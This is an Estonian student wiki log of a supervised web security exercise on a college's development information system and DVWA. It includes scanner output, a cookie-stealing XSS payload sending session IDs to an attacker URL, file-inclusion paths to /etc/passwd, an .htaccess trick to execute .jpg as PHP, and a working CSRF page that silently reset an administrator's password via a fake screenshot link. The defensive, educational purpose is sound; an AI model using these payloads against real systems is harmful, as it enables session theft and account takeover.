flag - A TRUE/FALSE value indicating if all machines within a given domain can access the variable.
This value is set automatically by the browser, depending on the value you set for domain.
path - The path within the domain that the variable is valid for.
secure - A TRUE/FALSE value indicating if a secure connection with the domain is needed to access the variable.
expiration - The UNIX time that the variable will expire on.
name - The name of the variable.
value - The value of the variable.
Küpsis on leitav Mozilla Firefoxis peale itcollege.dev.ois.ee-s oma kasutajaga sisse logimist:
Edit -> Preferences -> Privacy -> History -> remove individual cookies
Search: itcollege.dev.ois.ee
Leitud valiku all Cookie Name: itcollege_OIS_SESSION_ID

Skänneerimine:
<ul>
<li>The page language is: en</li>
<li>The URL: "https://itcollege.dev.ois.ee/" has a "<form>" element with auto-complete enabled.</li>
<li>A comment with the string "<p>tunne end kui koolis</p>" was found in: "https://itcollege.dev.ois.ee/".</li>
<li>Found a form login. The action of the form is: "https://itcollege.dev.ois.ee/auth/login".</li>
The username field to be used is: "username".
The password field to be used is: "pw".
<li><font color="red">Found authentication credentials to: "https://itcollege.dev.ois.ee/auth/login". A correct user and password combination is: Administrador/6666666</font></li>
Antud kasutaja ja parooliga sisse ei saanud.
<li>The URL: "https://itcollege.dev.ois.ee/" returned a response that may contain a "SHA1" hash. The hash is: "c7b39896de5f296b5a44c2dfcd9f0600b2cf424d". This is uncommon and requires human verification.</li>
Taolisi ja MD5 hashiga ridu leiti 355. Kõik vajavad inimese kontrolli.
<li>The URL: "https://itcollege.dev.ois.ee/" sent these cookies:</li>
itcollege_OIS_SESSION_ID=lm8llh4i3k2yj4d7rho6791u05; path=/
itcollege_OIS_SESSION_ID=lm8llh4i3k2yj4d7rho6791u05; Path=/
<li>The SMTP settings in emailReport plugin seem to be incorrect. Original error: "[Errno 111] Connection refused".</li>
Kui tuleb see veateade, siis skänn katkeb.
<li><font color="red">The following scripts allow an attacker to send POST data as query string data (this makes XSRF easier to exploit):</font></li>
The URL: https://itcollege.dev.ois.ee/auth/openid-login is vulnerable to cross site request forgery.
It allows the attacker to exchange the method from POST to GET when sending data to the server.
The URL: https://itcollege.dev.ois.ee/auth/id-login is vulnerable to cross site request forgery.
It allows the attacker to exchange the method from POST to GET when sending data to the server.
<li><font color="red">SQL injection in a Unknown database was found at: "https://itcollege.dev.ois.ee/auth/login", using HTTP method POST.</font></li>
The sent post-data was: "username=John8212&security_key_sis_global=d'z"0&Login=Logi%20sisse&continue=56&pw=FrAmE30.".
The modified parameter was "security_key_sis_global". This vulnerability was found in the request with id 390.
<li>Leidis ka otsirobotitele mõeldud faili: https://itcollege.dev.ois.ee/robots.txt</li>
User-agent: *
Disallow: /
Allow: /curriculum
Allow: /subject
Allow: /diploma
Allow: /schedule/ical
</ul>

== 4. päev - Presentatsiooni tegemine ja esitlemine ==

Koostasime presentatsiooni ja esitlemine.

[[Media:Security_team_presentation.ppt]]

== Arvamused intensiivõppe nädala kohta ==

Sander: Õppisime erinevaid testprogramme ja testkeskkondi kasutama, mida varem kunagi kasutanud polnud. Suutsime avastada nii mõnegi vea, mida varem avastatud ei olnud. Usun, et ÕIS on nüüd kasvõi veidigi turvalisem. Soovitan ka teistele tudengitele intensiivõppenädalal osalemist, kuna valides õige teema võib olla päris huvitav tegeleda millegagi, mida varem teinud pole või mida tegelikult lihtsalt ei ole lubatud teha.

== Tegijad ==
Alo Konno A21

Urmo Lihten A21

Taavi Podžuks A22

Matis Alliksoo A22

Sander Saarm A22

== Juhendajad ==
Mart Mangus

Margus Ernits

Valter Kungla

Security team

2012-03-30T13:48:16Z

Mallikso: /* 1. päev - Materjalidega tutvumine */

== 1. päev - Materjalidega tutvumine ==

<h1>POOLELI!</h1>

https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project

A1: Injection - Urmo
A2: Cross-Site Scripting (XSS) - Alo
A3: Broken Authentication and Session Management - Sander
A4: Insecure Direct Object References - Alo
A5: Cross-Site Request Forgery (CSRF) - Taavi
A6: Security Misconfiguration - Matis
A7: Insecure Cryptographic Storage - Matis
A8: Failure to Restrict URL Access - Urmo
A9: Insufficient Transport Layer Protection - Taavi
A10: Unvalidated Redirects and Forwards - Sander

Sanderi konspekt: [[Media:Ois_materjal.pdf]] <br>
Urmo esitlus: [[Media:Injection-Failure_URL_access.ppt]] <br>
Taavi esitlus [[Media:A9.pdf]] <br>
Taavi esitlus [[Media:A5.pdf]] <br>
Matise esitlus [[Media:Insecure Cryptographic Storage.pdf]] <br>
Matise esitlus [[Media:Security Misconfiguration.pdf]] <br>
Alo Esitlus: [[Media:Cross-site_scripting_(XSS).ppt]] <br>

== 2. päev - Nõrkuste ja rünnete tundmaõppimine ja katsetamine==
===Security Team tegevusplaan===
1. Päev
1.1 Tutvuda OWASP’iga.
1.2 Tutvuda OWASP’i aasta 2010 TOP 10 veebirakenduse turvariskidega.
1.3 Iga grupiliige teeb 2 turvariski kohta väikese tutvustava ettekande.
2. Päev
2.1 Esitada tiimi tegevusplaan.
2.2 Tutvuda turvariskidega natuke põhjalikumalt.
2.3 Tutvuda ja katsetada erinevaid pen-testingu tööriistasid – BackTrack ja SamuraiCD võimalused.
2.4 Täiendada esimese päeva ettekannet.
3. Päev
3.1 Alustada dev-ÕISi peal turvariskide leidmist – samuti iga grupi liige testib/katsetab 2 turvariski ekspluateerimist.
3.2 Saadud tulemuste dokumenteerimine.
4. Päev
4.1 Saadud tulemuste esitlemine ettekandega
5. Päev
5.1 Tulemuste parandamine wiki’s.

=== Alo tegevus ===

http://www.acunetix.com/support/vulnerability-checks.htm
http://projects.webappsec.org/w/page/13246920/Cross%20Site%20Scripting
http://wiki.developerforce.com/page/Secure_Coding_Cross_Site_Scripting
http://www.youtube.com/watch?v=SG1cvGQ971g
http://www.isecom.org/research.html
http://evuln.com/tools/
http://sectools.org/tag/web-scanners/
http://www.webresourcesdepot.com/10-free-web-application-security-testing-tools/
http://www.acunetix.com/vulnerability-scanner/getting-started.htm

Internetist sai otsitud parimat Windowsi automaatskännerit ja selleks osutus:
Acunetix Web Vulnerability Scanner v. 8
http://www.acunetix.com/vulnerability-scanner/

Pärast programmi installimist tuli seadistada skännimine, valisime keskmie põhjalikkusega skänni.
Erinevalt teistest automaatskännidest sai sellel lihtsamalt seadistatud sisselogimine ja lisaks sai paika panna ka, et ta arvestaks välja Log out lingi.
Antud programm võimaldab skännida:
Cross-Site Scripting (XSS)
SQL Injection (blind test)
File inclusion
Code Execution
LDAP Injection
Cross Frame Scripting
SQL Injection (error msg. test)
CRLF Injection
Directory Travelsal
XPath Injection
URL Redirection
Application Error Message

Kuna skänner skännib väga põhjalikult ja teskeskonnal ei töötanud täsvõimsusel oli ping väga suur ja skänn tegi vähe päringuid tunnis siis oleks täisskänni ajaliselt paar päeva.

=== Urmo tegevus ===

Kasutan BackTrack 5 R2 64bit Gnome ja Samurai CD 0.9.9 operatsioonisüsteeme katsetamaks ja uurimaks erinevate veebilehtede turvariskide ära kasutamist.

Pandud tööle Samurai ja kasutatud Damm Vurnelable Web Application'i.

==== Brute Force (DVWA) ====
Käsitsi välja uuritud login andmed:
kasutajanimi: admin
parool: password

===== Fireforce plugin Firefoxis =====
Tekitatud sai ka password list faili pass.txt.

Kasutusel oli Firefox brauser, kuhu installisime plugin'a Fireforce.
Siin kasutasime Youtube õpetust: http://youtu.be/lmgMXhM01fY .

Panime kasutajanimeks "admin" ja paroolilahtris parema klõpsuga valisin Fireforce menüüst Library, ning laadisin talle pass.txt faili sisse.
Küsiti veel, et mis teksti veebilehelt peab otsima, kui sisselogimine on ebaõnnestunud.
Selleks sai sõna "incorrect".
Määrata ära tuli ka, et mitu päringut sekundis tehakse.
Panime 10 aga kuna veebileht ei jõua sekundis nii palju ennast kuvada.
Päringute tegemise kiirus vähem kui 1 päring/sekundis.

Töötavat tulemust me ei saanud, kuna õigest paroolist mindi üle pidevalt.
Kasutasime ka videos näidatud "@ DICTIONARY" teksti ühes lahtris ja siis plugin ei tahtnud üldse proovida ja lasi kõik katsed üle mingil põhjusel.

Kuna me seda lahendust ei saanud tööle, siis sai proovitud ka BurpSuite programmi.

===== Burpsuite v1.4 =====
Burpsuite v1.4 on Samurai WTF'il olemas juba sees ja saab kohe käima panna.
[[File:Bp2naide.jpg|200px|thumb|right|BurpSuite näidis screenshot UI'st]]

Programm on juba loomult keerulisem.
Burpsuite'iga tuleb panna käima proxy server localhost'is ja brauser määrata kasutama seda proxy serverit aadressil 127.0.0.1:8080.
Kui ligipääs on rünnatavale lehele on olemas, siis teha prooviks üks väär sisselogimine.
Läbi proxy serveri tuleb BurpSuite'ile kohale vastava veebilehe Header sisselogimise kohta.
Headeris tuleb payloadi positsioonid ära määrata, kuhu see hakkab nimekirja alusel igat sõna panema.
Payload'i positsioonideks Headeris on username ja password lahtrid ning nendesse jätta ainult 2 paragrahvi tähemärki.
Ründe stiiliks määrata Pitchfork.
Mõlema payloadi positioni kohta tuleb ära määrata sõnade listid, mida programm hakkab kasutama.
Optioniste alt tuleb üle kontrollida ka sõnad, mida jälgitakse ebaõnnestunud sisselogimiste korral ja lubaksid järgmisi katseid.
Kui listid sai ära määratud, siis sai panna menüüst käsu Intruder -> Start Attack, mis siis alustas rünnet.
Kahjuks ka see rünne ei toiminud teadmata põhjusel.
Proovitud sai ka lühemate nimekirjadega ja edutult.

Peale teise programmi kasutamist jõudsime järeldusele, et Brute Force ründest pole meil kasu ja ei aita eesmärki täita effektiivselt.
Dev-ÕISis on vastavad turvameetmed kasutusele võetud, mis takistab selle tegemist ehk avastamisel keelatakse 5-ks sisselogimine ära vastava teatega ja brute force programmidele ei tule vastavat sõna, mis tähendaks sisselogimise ebaõnnestumist ning annab valepositiivse.

Lõpptulemus: Arendusversioon ÕISist on ära turvatud BruteForce rünnete vastu sisselogimisel.

==== CSRF - Cross-site request forgery ====
Katsetamine toimub koos Taaviga.

Loome uue veebilehe, mis saadab aktiivse kasutaja alt käske edasi mõnele veebisaidile, mis usaldab autoriseeritud kasutajat.

Katse eesmärgiks on DVWA-s kasutaja parooli muutmine, niiet ta ise paneb meie veebilehel on oma praeguse parooli sisse ja Submit nupu vajutamisel saadetakse see koos peidetud väljadega (mis on varustatud uute paroolidega) DVWA parooli muutmise lehele ja tulemuseks on kasutaja muudetud parool.

Lõime uue faili - crosssite.txt

DVWA-s läksime lingile CSRF, kus saab sooritada parooli muutmist.
Võtsime lehe Source Code lahti
Otsisime üles paroolide formi koodi üles ja kopeerisime selle enda veebilehele.
Muutsime ära action väärtuse, DVWA veebilehe omaks, kus muudetakse paroole.
Current Password lahtri jätsime samaks.
Ülejäänud kahe uue passwordi fieldi type'iks määrasime "Hidden" ja value'deks "admin".
Salvestasime faili ja käivitasime selle.
Tuli ette ainult lahter Current Passwordi ja Submit nupuga.
Panime sisse tolle hetke parooli ning saatsime teele päringu ning saimegi DVWAlt vastuseks, et parool muudetud ehk parooliks sai hidden väljades määratud sõna ".

Lõpptulemus: Kasutaja salajane ja ootamatu paroolivahetus sai ära täidetud.

=== Taavi tegevus ===

Backtrack 5 R2 - parimate tööriistade ja meetodite uurimine et leida turvanõrkusi.

=== Matise tegevus ===
==== Reflected Cross Site Scripting (XSS) ====
<ul>
<li>Lehel on selline Form:</li>
[[Image:Xsstesting.jpg|Location="left"|Caption|]]
<br>Form väljastab : Hello „sisestatud nimi“
<li>Easy puhul:</li>
<li>Saab sisestada textboxi skripti:</li>
<script>
alert(document.cookie.match(/PHPSESSID=[^;\]+/));
</script>
<li>Eelnev skript toob ekraanile lihtsalt hetke sessioni ID.</li>
<li>Kui sellist asja on võimalik sisestada siis saab juba sellise skripti teha mis saadab kasutaja mingile sinu enda leheküljele kuhu on taha lisatud Session ID: </li>
<script>
this.document.location.href = „http://127.0.0.1/varastatud_sess_id/ + document.cookie.match(/PHPSESSID=[^;\]+/);
</script>
<li>Saab kohe enda veebiserveri logidest näha Session ID’d.
<br>Näide logist:</li>
/var/log/apache2/access.log
127.0.0.1 - - [27/Mar/2012:09:06:31 -0400] "GET /varastatud_sess_id/PHPSESSID=51dc79948ee4cd23e6f8160ef2b57945 HTTP/1.1" 404 404 "-" <br> "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.11) Gecko/20101013 Ubuntu/9.04 (jaunty) Firefox/3.6.11"
<li>Tuleb ründajal lisada endale uus cookie saabunud Session ID’ga ja peakski olema võimalik teise inimese sessioon üle võtta.</li>
</ul>

=== Sanderi tegevus ===
[[File:DVWA_upload.png|150px|thumb|DVWA Upload]]

SamuraiWTF kasutamine testimiseks: DVWA (Damn Vulnerable Web Application).
==== Faili üleslaadimine: madal tase ====
<ul>
<li><b>DVWA Security</b> määrata: Low -> Submit</li>
<li>Valida: Upload</li>
<li>Üles laadida saab suvalisi faile: *.php, *.html, *.jpg, .htaccess</li>
Üleslaetavasse *.php faili saab kirjutada php koodi:
<?php var_dump($_REQUEST, $_SERVER); ?>
<li>Minnes üleslaetava *.php faili asukohta veebilehitsejas http://dvwa/hackable/uploads/*.php käivitatakse skript ja tagastatakse kõik küsitav:</li>
esimeses massiivis "PHPSESSID" ("2b1ae19446cfde009664f18df51b6ec1") ja turvatase "security" ("low");
teises "HTTP_COOKIE", milles on eelnevadki andmed; asukoht "PATH", "SERVER_SOFTWARE", "SERVER_NAME",
"SERVER_ADDR" ("127.42.84.1"), "SERVER_PORT" ("80"), "REMOTE_ADDR" ("127.42.84.1"), "REMOTE_PORT" ("53425") jpm.
</ul>

==== Faili üleslaadimine: keskmine tase ====
<ul>
<li><b>DVWA Security</b> määrata: Medium -> Submit</li>
<li>Valida: Upload</li>
<li>Üles laadida ei saa näiteks järgnevates formaatides faile:</li>
.htaccess
.php .html .pdf
.gif .png .bmp
.svg .swf
.tif .tiff .exif
.raw .cgm
<li>Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php)</li>
<li>Üleslaetavasse *.jpg faili saab kirjutada php koodi.</li>
<li>Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress:</li>
http://dvwa/hackable/uploads/*.jpg
<li>Skripti käivitamiseks tuleb kasutada "?page=" ja faili asukoht:</li>
http://dvwa/vulnerabilities/fi/?page=../../hackable/uploads/*.jpg
Kuvatakse php skripti tulemus.
Kommentaar: "?page=" kasutamine võetud menüüvalikust: <b>File Inclusion</b>
<li>"?page=" abil saab vaadata kasutajate nimesid:</li>
http://dvwa/vulnerabilities/fi/?page=../../../../../etc/passwd
<li>Paroole vaadata ei saa, selleks õigused puuduvad:</li>
http://dvwa/vulnerabilities/fi/?page=../../../../../etc/shadow
</ul>

==== Faili üleslaadimine: kõrge tase ====
<ul>
<li><b>DVWA Security</b> määrata: High -> Submit</li>
<li>Valida: Upload</li>
<li>Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php)</li>
Üleslaetavasse *.jpg faili saab kirjutada php koodi.</li>
<li>Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress.</li>
<li>Skripti käivitamiseks ei piisa ka "?page=" kasutamisest. Igal juhul on vastus selline:</li>
ERROR: File not found!
<li>Kasutada tuleks kuueteistkümnendkoodi, mille saab moodustada näiteks sellel aadressil:</li>
http://www.motobit.com/util/base64-decoder-encoder.asp
<li>Moodustades loodud faili asukohast kood ja kasutades</li>
data:php/html;base64,aHR0cDovL2R2d2EvaGFja2FibGUvdXBsb2Fkcy91cGxvYWQyLmpwZw==
üritatakse seda arvutisse salvestada. Salvestamisel .part-nimelise faili, on selle sisuks samuti lihtsalt faili asukoht veebis:
http://dvwa/hackable/uploads/*.jpg
</ul>

== 3. päev ==

=== Alo tegevus ===
[[File:PDFHinneteleht.png|200px|thumb|right|Näide hinnetelehest]]
Kui testisime failide uploadimis võimalusi tuli idee testida ka failide allalaadimist.<br>
Faile saab alla laadida enda profiili all õppesooritustes.<br>
Seal on võimalik alla laadida nii .pdf kui ka .odt formaadis õppesooritusi.<br>
Allalaadimis Urli muutmisega oli võimalik alla laadida teiste kasutajate õpitulemusi.<br>
Õpitulemused sisaldasid lisaks tulemustele ka inimese isikukoodi.<br>
Kui oleks soovinud õpitulemusi alla laadida kindla kasutaja õpitulemusi oleks saanud õpilase id kätte tema profiili pildi id kaudu.<br>
Kuna see oli tõsine turvaauk ja õpilaste andmed on konfidentsiaalsed täiendati url accessi nii, et enam üks õpilane teise inimese andmetele ligi ei pääseks.<br>

=== Urmo tegevus ===
====Subgraph Vega ====
Subgraph Vega on beeta staadiumis olev vabavaraline veebiapplikatsioni nõrkuste skänner, proxy ja platvorm.
Selle tööriistaga annab välja otsida SQL injectionit võimaldavad kohad, Cross-Site-Scriptingut, URL injection jne võimaldavaid nõrkusi veebilehel.
Programm on Java põhine graafilise liidesega ja töötab Linux'i, OS X ja Windowsi peal.

[[File:Screenshot_vega1.png|200px|thumb|right|Subgraph Vega screenshot]]
Päeva alguses sai hakatud katsetama seda ÕISi arenduskeskkonna peal.

Alustasime uut skänni (Start New Scan).
Küsitakse URI, milleks andsime https://itcollege.dev.ois.ee ja Next.

Järgnevalt on vaja anda kätte sisselogitud kasutaja cookie ja vajadusel lisada kindlate linkide välistamise regullaar avaldised.

Me lisasime ainult küpsise (cookie) sisu:
<pre>
itcollege_OIS_SESSION_ID=sellecookiesisu1234563221
</pre>
ning Finish.

[[File:Screenshot_vega2.png|200px|thumb|right|Subgraph Vega screenshot ühe leitud nõrkusega]]
Järgnevalt ta hakkab skännima ette antud veebilehte ja kui küpsise info ning aadress on õige, siis ta suudab sisselogimisest mööda saada ilusti ja saab uurima hakata, kus võimalikud vead võivad olla. Tegutsemine võttis suhteliselt kaua aega (u. 30minutit).

Katkestasime skännimise ära, kui ta oli umbes 15000 objektist ära skänninud umbes 12000.

Selleks ajaks oli Vega leidnud kõrgema tasemega Cross Site Script'ingu nõrkusi 58, keskmise tasemega Absolute Path nõrkusi 2, ja lihtsalt informatsiooniks 6 tühja element Body nõrkust.

Uurides leitud Cross Site Scriptingu leitud nõrkusi, saime aru, et tegu on selliste aadressitega, milles veebilehed kasutavad aadressirealt saadud ID'sid ja parameetreid ära oma pealkirjades.
Õnneks parameetritega väljad olid veebilehel korralikult ära escape'itud ja saniteeritud, et suhteliselt võimatu oli saada mõnda scripti sinna sisse panna, et veebileht midagi teistmoodi teeks.

ID väljade osas aga ei olnud kaitstud üks link, mille avastas Alo ennem mind.

==== Wapiti ====
Proovisime ära ka Backtrack 5 R2 tööriista Wapiti.
(Koduleht: http://wapiti.sourceforge.net/)

Kahjuks ei saanud seda tööriista kasutada dev-ÕISi pihta, kuna see tööriist ei osanud HTTPS'iga midagi teha.

==== CSRF käsitsi rünne HTML/PHP/JAVASCRIPTiga====
=====1. katse - ÕISi keskkkonna keelevahetus =====
[[File:Keeleseaded.png|thumb|200px|right|ÕISi keeleseadete menüü]]

Päeva esimeses pooles sai avastatud, et dev-ÕISi kasutaja keskkonna keelt saab muuta, kui mõnelt väliselt veebilehelt saata vastav POST päring lingile, mis muudab keelte seadistust.

Võtsime dev-ÕIS'i Source Code'ist välja vastava formi osa ja panime eraldi html faili.
Koristasime mittevajaliku disaini koodi juurest ära.
Muutsime form'i action väärtust pannes olemasoleva ette https://itcollege.dev.ois.ee/ osa ehk oleks absoluutne aadress relatiivse asemel.
Teises fieldis, kus oli vaja määrata keele tähistus, mida saadetaks, panime väärtuseks "en" ehk inglise keelne keskkond tekiks.
Panime koodi enose veebiserverisse üles nimega ois.html.

Faili sisu:
<source lang="html4strict">
<form id="settingsForm" method="post" action="https://itcollege.dev.ois.ee/setting/edit?user_id=2198"
enctype="application/x-www-form-urlencoded">
<input type="hidden" AUTOCOMPLETE="off" name="default_language"value="en">
<br>
<input type="submit" value="Salvesta seaded" name="Savesettings">
</form>
</source>
Panime faili enda arvutis käima, tekkis vastav form ette, kus submit pannes päring jõudis õisi ja muudeti kogeselt ära keskkonna kasutaja keel.

Katsetas koodi enda konto peal Taavi.

=====2. katse - ÕIS'i kasutaja parooli muutmine =====

[[File:Salasona_ois.PNG|200px|thumb|right|Dev_OIS salasõna muutmisvorm]]
Otsustasime proovida, kas CSRF nõrkust annaks ära kasutada ka ÕISi administraatori pettes, kui saata talle pildi link, kus tegelikult taga jookseb HTML/JAVASCRIPT koos, mis saadab POST päringu salasõna muutmisega. Selle toimiseks oli eelduseks see, et rünnatav on ründamise hetkel juba dev-ÕISi sisselogitud.

Selle jaoks uurisime välja, kus asub dev-ÕIS'i kasutaja salasõna muutmise vorm ja kuhu saadetakse vormi sisu.
Vormilt võtsime lähtekoodist (Source Code) vastava koodi välja ja panime eraldi php faili.

Muutsime password ja password_check lahtrite väärtused järgnevaks: "test123" ehk kasutaja uus parool peale rünnakut.

Lahtrites muutsime user_id'd sisaldavad väärtused rünnatava kasutaja user_id vastu, mille saab kätte tudengite/vilistlaste/õppejõudude piltide aadressidelt kätte.

Kõik vormi lahtrite tüübid määrasime peidetud ehk "hidden", et poleks midagi näidata.

Kuna parooli muutmise formil on küljes ka continue parameeter, mis näitab seda, kuhu kasutaja viiakse peale parooli muutmist.
Selle muutsime väljalogimise lingiks, et peale POST päringu tegemist suunatakse kasutaja väljalogimise lehele.
Sellisel juhul ei tule ette teadet, et parooli just muudeti kuskil ja kasutaja enam ei saa oma vana parooliga sisse logida.

Lisasime CSS koodi Submit nupu ära peitmiseks.
JavaScript koodi, et kui leht on laetud, siis automaatselt vajutataks seda nähtamatut Submit nuppu, et brauser saadaks HTML POST päringu ÕISi poole teele.

Salvestasime faili ära kui "screen1.jpg" fail. Ohver arvab, et tegu on pildiga, kui saadame lingi ja seda veel usaldusväärse aadressi pealt.
Tegelikult kasutaja ei näe praegu ühtegi pilti ja suunatakse edasi.

Faili sisu:
<source lang="html4strict">
<html>
<head>
<style type="text/css">
#Setpassword{ width: 0px; height: 0px; border: none; padding: 0; margin: 0; }
</style>
</head>
<body>
<body onload="document.forms.setPasswordForm.submit();">
<form name="setPasswordForm" id="setPasswordForm"
action="https://itcollegedev.ois.ee/et/user/set-own-password?user_id=2227&continue=/auth/logout"
method="post">
<input type="hidden" name="user_id" value="2227" id="user_id" />
<input type="hidden" name="continue" value="%2Fet%2Fsetting%3Fuser_id%3D2227" id="continue" />
<input type="hidden" name="password" id="password" value="test123" />
<input type="hidden" name="password_check" id="password_check" value="test123" />
<input type="submit" name="Setpassword" id="Setpassword" value="Muuda salasõna" />
</form>
</body>
</html>
</source>

[[File:Admin_proof.PNG|200px|thumb|right|Ligisaadud adminpaneelile]]

Tegime uue faili htaccess.txt, kuhu panime kirja käsu, mis käivitaks php ja jpg faile kui php failidena.
<pre>
AddType application/x-httpd-php .php .jpg
</pre>

Laadisime mõlemad failid Enose veebiserverisse avalikult.

Tegime enda kontode peal katsed, et kõik toimiks nii nagu vaja ja ega probleeme ei teki.
Peale seda juhendaja Mart Manguse abiga saime ÕISi adminnile Valter Kunglale väikese test-rünnaku teha.
Mart Mangus üritas seletada, et hinnetelehel on midagi viga ja palus, et Valter vaataks asja üle.
Sellega saavutasime selle, et Valter logis dev-ÕISi sisse oma kontoga.
Valter ütles, et ta ei näe midagi viltu ja selle peale saatsime talle nii nimetatud screenshoti, mille taga oli tegelt meie koodiga screen1.jpg fail.
Kui see fail käivitati, siis Valter Kungla parool muudeti ära ja logiti süsteemist välja.
Tol hetkel, täpselt ennem väljalogimist ja ümbersuunamist, muutus tema parool meie pantud "test123"-ks ja me saime ligipääsu administraatori õigustes kontole.
Rünnak oli edukas.
[[File:Pass fixed.PNG|200px|thumb|right|Dev_OIS fixed]]

Andsime teada Valterile teada, et tegelikult tegime salajase ründe.
Suhteliselt koheselt oli Valteril see CSRF ründe vastu dev-ÕIS ära parandatud, kuna tal oli juba koodiparandus olemas aga lihtsalt rakendamata ja me tabasime ajaliselt viimase hetke ära, kus seda rünnet sai teha.
Peale parandust enam see rünne läbi ei läinud ja süsteem hõiskab vastu, et tegu on ründe või mõne bug'iga.

Kuna tegu oli ÕIS'i arendusversiooniga, siis oli serveris oli lubatud ka error_reporting, mis annab välja ka pildil oleva errorite jada.
Error Reporting on maha keeratud Live keskkonnas ja seal sellist pikka keerulist koodijada veateadetega ette ei tule ning saadetakse teade arendajatele automaatselt.

=== Taavi tegevus ===
===Burp suite===

Esimese asjane peale Burp suite käivitamist. Tabilt proxy ->intercept ->intercept off<br>
Järgnevalt seadistada proxy enda veebiprauserist (mõistlik panna localhost aadress 127.0.0.1 port 8080 ning lülitada sisse ka ssl proxy)<br>
Proxy -> options alt lülitada sisse proxy listner pordile 8080 .<br>
Ohvri valimine <br>
Valida intruder -> target ning sinna sisestada veebileht mida on plaanis uurida https lehe korral lülitada sisse ssl ning pordiks valida 443.<br>
Kui on tarvis lehte ka sisse logituna uurida siis tuleb seadistada järgmised parameetrid.<br>
Valida Options tab sealt sisse lülitada www authentication ning täita all olevad read.<br>site mida rünnatakse tema tüüp(üldiselt basic), login, parool ning valida add.
Kui on soov sooritada veebilehe sipderingi siis tuleb excludida ka logout käsud.<br>
Targer->scope -> exclude frome scope ja veenduda at välja on arvatud logout laused.<br>
Spideringi sisselülitamine <br>
Valida tab Spide ning sealt panna linnuke kasti spider running.<br>
Ning oledki valmis saama laheküljelt infot.<br>
Tööriistal on veel tohutu hulk seadistus võimalusi, aga kahjuks ajanappuse tõttu ei jõudnud nende kõikidega tutvuda.<br>
Tööriis ei ole mõeldud algajatele, kuid teda tundma õppides on võimailik sooritada keerukaid operatsioone. Suurim nõrkus sellel programmil on see, et ta otsing ei näita ära nõrkasid kohti veebilehel vaid need tuleb ise koodist ülesse otsida.

==Nessuse algkäivitamine==
Valida backtrackist vulnerability scannerite alt nessus ning edasi nessus register .<br> Täite ära vajalikud read veebilehel ning mailile saadetakse aktiveerimis kood.<br> Järgnevalt avada termnal ning sisestada käsk : /opt/nessus/bin/nessus –fetch –register **********(tärnide asemele meilile saadetud kood)<br>
Nüüd läheb aega kuni nessus updatedakse (ole valmis ootama võtab tükk aega.)<br>
Järgnevalt käivitada nessus user add ning sinna sisestada soovitav kasutajanimi nessusele, kui küsitakse kas admin konto siis sisestada y. Kõik on korras kui tuleb ette kiri user added.<br>
Järgnevalt valida nessus start.<br>
Et nessusesse siseneda veebibrauseri URL i kirjutada 127.0.0.1:8834
Siis avaneb leht kus tuleb vajutada lehe alaosas olevale lingile mis suunab https leheküljele.<br>
Antud tööriist ei ole just kõige sobilikum veebilehtede testimiseks.

=== Matise tegevus ===
==Väike upload tegevus, mis võiks olla teisiti==
Ajal mil on avatud stipendiumi taotlemine on võimalik uploadida üles dokumente, et anda lisainformatsiooni abitoetuse taotlemiseks.
Testimisel selgus, et hetkel üles on võimalik üles laadida ükskõik mis laiendiga faile.
Proovisime üles laadida:
<li>filmi
<li>exe
<li>jpm faile
<br>kõik läks läbi ja sai uploadida.
<br>Sellises kohas võiks olla süsteem tehtud <b>whitelisti</b> põhimõttel,
<br>et lubatud oleks ainult:
<li>.doc
<li>.docx
<li>.pdf

=== Sanderi tegevus ===
[[File:W3af skanner.png|150px|thumb|w3af skänni seaded]]
Backtarcki keskkonnas sai testitud programmi w3af.

==== Backtrack: w3af ====
[[File:Basic HTTP Auth.png|150px|thumb|w3af Basic HTTP Auth]]
[[File:ÕISi küpsis.png|150px|thumb|Mozilla Firefox küpsis]]
[[File:W3af_Cookie.png|150px|thumb|w3af Cookie]]
Võimalik kätte saada SSL Certificate.
Aadressiribalt leitud sisselogimis-aadressiga sisse logimine ei õnnestunud:
https://itcollege.dev.ois.ee/auth/login?continue=/auth/login?
username=<font color="red">KASUTAJANIMI</font>&continue=&Login=Logi sisse&pw=<font color="red">PAROOL</font>
Programmi sisestatud andmetega ka mitte:
Configuration -> HTTP Config -> Basic HTTP Authentication:
basicAuthUser: <font color="red">KASUTAJANIMI</font>
basicAuthPass: <font color="red">PAROOL</font>
basicAuthDomain: http://itcollege.dev.ois.ee
Mozilla Firefoxi küpsis õnnestus luua Töölauale hetkel sisse logitud sessiooni ID-ga. Programmi küpsise sisestamine:
Configuration -> HTTP Config -> Cookies
cookieJarFile: /root/Desktop/<font color="red">ois_cookie.txt</font>
Seda loodud sessiooni ID-ga küpsist kasutada algul ei õnnestunud. Ilmselt oli midagi valesti. Õige on:
# Netscape HTTP Cookie File
.dev.ois.ee TRUE / FALSE 1731510001 itcollege_OIS_SESSION_ID <font color="red">870aqllryuw3cmf6cv8ellha03</font>
Esimene rida on nõutav! Teiste tähendused:
domain - The domain that created and that can read the variable.
flag - A TRUE/FALSE value indicating if all machines within a given domain can access the variable.
This value is set automatically by the browser, depending on the value you set for domain.
path - The path within the domain that the variable is valid for.
secure - A TRUE/FALSE value indicating if a secure connection with the domain is needed to access the variable.
expiration - The UNIX time that the variable will expire on.
name - The name of the variable.
value - The value of the variable.
Küpsis on leitav Mozilla Firefoxis peale itcollege.dev.ois.ee-s oma kasutajaga sisse logimist:
Edit -> Preferences -> Privacy -> History -> remove individual cookies
Search: itcollege.dev.ois.ee
Leitud valiku all Cookie Name: itcollege_OIS_SESSION_ID

Skänneerimine:
<ul>
<li>The page language is: en</li>
<li>The URL: "https://itcollege.dev.ois.ee/" has a "<form>" element with auto-complete enabled.</li>
<li>A comment with the string "<p>tunne end kui koolis</p>" was found in: "https://itcollege.dev.ois.ee/".</li>
<li>Found a form login. The action of the form is: "https://itcollege.dev.ois.ee/auth/login".</li>
The username field to be used is: "username".
The password field to be used is: "pw".
<li><font color="red">Found authentication credentials to: "https://itcollege.dev.ois.ee/auth/login". A correct user and password combination is: Administrador/6666666</font></li>
Antud kasutaja ja parooliga sisse ei saanud.
